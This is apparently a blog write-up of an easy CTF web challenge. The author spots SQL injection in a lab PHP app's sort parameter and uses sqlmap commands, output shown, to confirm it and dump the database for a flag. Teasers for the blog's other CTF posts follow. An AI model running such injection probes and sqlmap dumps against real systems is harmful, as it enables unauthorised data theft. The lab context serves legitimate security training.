2019 Stonecutters - Easy Drinking Duff

-
Easy Drinking Duff was the first and easiest web app challenge that the Stonecutters had on the board. By the time I got around to it, it was only worth 75 points and it had the most solves of all the web app challenges.

In order to access the challenge, I needed to register my SSH key with the scoring server and run a provided SSH command to access the challenge. I was then able to load the following site by pointing my browser to 127.0.0.1:8080:

Easy Drinking Duff

I then sorted the data set by year by clicking on the "Year" column header which sent a request for: http://127.0.0.1:8080/index.php?s=year

This just screamed database, so I entered a ' at the end of year to see what would happen and I saw the following error message:

SQL Error

This indicated a SQLi vulnerability so I ran sqlmap, as seen below, to validate the finding by checking who the current-user was:

# sqlmap -u "127.0.0.1:8080/index.php?s=year*" --current-user
<snip>
[13:57:38] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.3
back-end DBMS: MySQL >= 5.0
[13:57:38] [INFO] fetching current user
[13:57:38] [INFO] retrieved: ctf@localhost
current user: 'ctf@localhost'
[13:57:38] [INFO] fetched data logged to text files under '/root/.sqlmap/output/127.0.0.1'

As the injection vulnerability was confirmed, I then ran sqlmap again with the -a option so I could check for flags:

# sqlmap -u "127.0.0.1:8080/index.php?s=year*" -a
<snip>
[13:58:11] [INFO] retrieved: Artist Test
[13:58:11] [INFO] retrieved: 0
[13:58:11] [INFO] retrieved: flag{OttoMannWasHere}
<snip>

 That was it for this challenge. I'm excited to share the rest of my write-ups when I'm allowed. Rumor has it that the Stonecutters will release new challenges relatively soon. This means I should get the green-light to post my other write-ups shortly thereafter.

Thanks for your patience!

The rest of the challenges can be found here:
https://blog.welcomethrill.house/2019/01/code-name-2019-stonecutters-ctf.html

-strupo_

Popular posts from this blog

The Audacity of Some CTFs

-
Image
2021 Update : This is currently the most read post on our blog. Chances are that you are here because you are working on an audio challenge. If you see something looking like a digital signal, be sure to also check out our Radioactive Man write-up. I have stumbled across a few audio files while competing in CTFs over the last few years and I thought covering spectrograms would make a nice and quick blog post. Flags can manifest themselves in many ways when dealing with media files. One of the most common ways I have seen is by hiding them, or clues to find them, in the file's audio spectrogram. According to wikipedia: "a spectrogram is a visual representation of the spectrum of frequencies of sound, or other signals, as they vary with time." Basically, it is a method to visualize sound and signals. I first learned that you can embed hidden messages and images in a spectrogram when a friend showed me an image from an Aphex Twin song some years ago. Equation by
Read more

Code Name: Treehouse of Horror CTF

-
Image
A friend of mine asked me if I wanted to participate, on the sly, in an internal CTF that he put together for his employer. My score wouldn't be shown, and for all intents and purposes I did not compete. I figured I'd give it a code name incase I need to refer to this event. Let's call it the Treehouse of Horror CTF. The Treehouse of Horror CTF! The scoreboard appeared to be similar to the one used at the Defcon 26 IoT CTF, however this one was organized by challenge which made things nice for tracking your own progress versus one huge board of challenges.  I think this is called Jeopardy style. There were some odd moments at times because different challenge groups shared a target, so you had to identify which flag went with which challenge. Really not that big of a deal and I actually really enjoyed the format rather than just a single submit field like at derby or Eversec's CTF as it helped me track my progress with ease. The challenges were: FreePBX Re
Read more

DEF CON 26 - IoT Village - SOHOpelessly Broken CTF

-
Image
Welcome Thrillhouse Group competed in the SOHOpelessly Broken CTF in the IoT Village at DEF CON 26 this year. None of the actual team, aside from myself, was able to make it this year. So, I requested the help of my colleagues and "Mitch" was keen to help. Together, we reached 14th place by the end of Saturday with 9k points. WTG's Score by End of Saturday As you can see, we had a couple issues submitting flags. For this CTF, flags were typically the MD5 of something under /dev or something like a clear text password. When our flags failed to submit, we worked with the organizers and chalked it up to someone modifying the flag files so that the MD5 would change. These issues had no impact on our score, accomplished nothing, was a jerk-move, and as can be seen below; was against the rules: IoT CTF Rules and Hints The CTF consisted of 22 challenges based on the 22 devices seen below: IoT CTF Device Challenges WTG successfully completed the challe
Read more